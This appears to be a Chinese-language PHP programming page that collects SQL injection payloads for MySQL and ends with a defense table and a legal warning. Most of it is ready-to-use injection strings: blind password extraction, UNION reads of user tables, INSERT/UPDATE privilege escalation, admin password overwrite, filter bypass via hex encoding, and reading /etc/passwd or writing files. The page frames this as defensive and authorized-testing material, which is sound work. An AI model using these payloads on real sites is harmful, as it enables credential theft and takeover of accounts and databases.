首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP SQL 注入攻擊向量速查筆記與防禦對策

     編輯:PHP 綜合知識

本文整理常見 PHP + MySQL SQL 注入攻擊向量,供開發者理解威脅模型、驗證防禦措施有效性。僅供授權測試與防禦研究使用,嚴禁用於非法攻擊。

基礎注入向量

單表查詢 (WHERE 子句注入)

# 猜密碼長度
username=admin' AND LENGTH(password)=6--

# 逐字猜解 (LEFT/MID/SUBSTRING)
username=admin' AND LEFT(password,1)='a'--
username=admin' AND MID(password,2,1)='b'--

# 使用 ORD/ASCII 二分法加速
username=admin' AND ORD(MID(password,1,1))>100--

UNION 聯合查詢 (跨表讀取)

# 探測欄位數
id=1' UNION SELECT 1,1,1--
id=-1 UNION SELECT 1,1,1--

# 讀取用戶表 (前查詢需為假)
id=-1 UNION SELECT 1,username,password FROM users--

# 導出檔案 (需 FILE 權限、可寫目錄)
id=-1 UNION SELECT 1,username,password FROM users INTO OUTFILE '/var/www/html/dump.txt'--

INSERT 注入 (註冊提權)

# 原語句: INSERT INTO users VALUES ('', '$user', '$pass', '$homepage', '1')
# 構造 homepage: https://evil.com', '3')#
# 變為: ... VALUES ('', 'attacker', 'hash', 'https://evil.com', '3')#', '1')

UPDATE 注入 (修改任意記錄/提權)

# 原語句: UPDATE users SET pass='MD5($pass)', homepage='$hp' WHERE id='$id'

# 1. 提權 (構造 homepage)
homepage=https://site.com', level='3
# => UPDATE ... SET pass='...', homepage='https://site.com', level='3' WHERE id='...'

# 2. 修改管理員密碼 (構造 password)
password=newpass)' WHERE username='admin'#
# => UPDATE ... SET pass='MD5(newpass)' WHERE username='admin'# ...

# 3. 條件注入 (構造 id)
id=' OR username='admin'
# => UPDATE ... WHERE id='' OR username='admin'

進階繞過與利用技巧

繞過 magic_quotes_gpc / addslashes (無引號注入)

利用十六進位或 CHAR() 編碼字串:

# 等同 WHERE username='admin'
username=0x61646D696E
username=CHAR(97,100,109,105,110)

# 猜密碼配合 CHAR()
userid=1 AND LEFT(password,1)=CHAR(109)  # 'm'
userid=1 AND ORD(MID(password,1,1))>100

MySQL 內建函數洩露資訊

# 取得 DB 名、版本、用戶
id=-1 UNION SELECT 1,DATABASE(),VERSION()--
id=-1 UNION SELECT 1,USER(),CURRENT_USER()--

# 讀取檔案 (需 FILE 權限)
id=-1 UNION SELECT 1,LOAD_FILE(0x2F6574632F706173737764),3--  # /etc/passwd

快速探測結構

# 1. 確定欄位數
id=-1 UNION SELECT 1,1,1--

# 2. 確定欄位型態 (字串型顯示 a, 數值型顯示 0)
id=-1 UNION SELECT CHAR(97),CHAR(97),CHAR(97)--

# 3. 猜表名
id=1 UNION SELECT 1,1,1 FROM admin--
id=1 UNION SELECT 1,1,1 FROM users--

防禦對策速查

層面措施關鍵函數/設定
程式碼 (根本)全面使用預處理語句PDO::prepare, mysqli_prepare, bind_param
程式碼 (次要)整數強制轉型(int)$var, intval($var)
程式碼 (次要)字串白名單驗證 + 長度限制preg_match, strlen
資料庫最小權限帳號 (無 FILE, GRANT, SUPER)GRANT SELECT,INSERT,UPDATE,DELETE ON db.* TO user@localhost
PHP 設定關閉錯誤顯示、開啟錯誤日誌display_errors=Off, log_errors=On
PHP 設定禁用危險函數 (視需求)disable_functions=exec,system,passthru,shell_exec,proc_open,popen,fsockopen...
架構部署 WAF (ModSecurity + OWASP CRS)偵測 UNION, SELECT, INTO OUTFILE, SLEEP, BENCHMARK 等特徵
架構開啟 open_basedir 限制目錄存取open_basedir=/var/www/html:/tmp

實戰驗證流程 (授權環境)

  1. 識別注入點 (單引號、數值型、HTTP Header、Cookie)。
  2. 判斷注入類型 (報錯、布爾盲注、時間盲注、聯合查詢)。
  3. 探測資料庫結構 (欄位數、型態、表名、欄位名)。
  4. 提取目標資料 (帳號密碼、敏感設定)。
  5. 評估影響範圍 (是否可讀寫檔案、執行命令、提權)。
  6. 驗證修補效果 (修補後重測確認阻斷)。
⚠️ 法律警告:未經書面授權對任何系統進行 SQL 注入測試、掃描或攻擊,均違反《刑法》電腦犯罪相關條款與《資通安全管理法》。請僅在自有或授權測試環境驗證。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved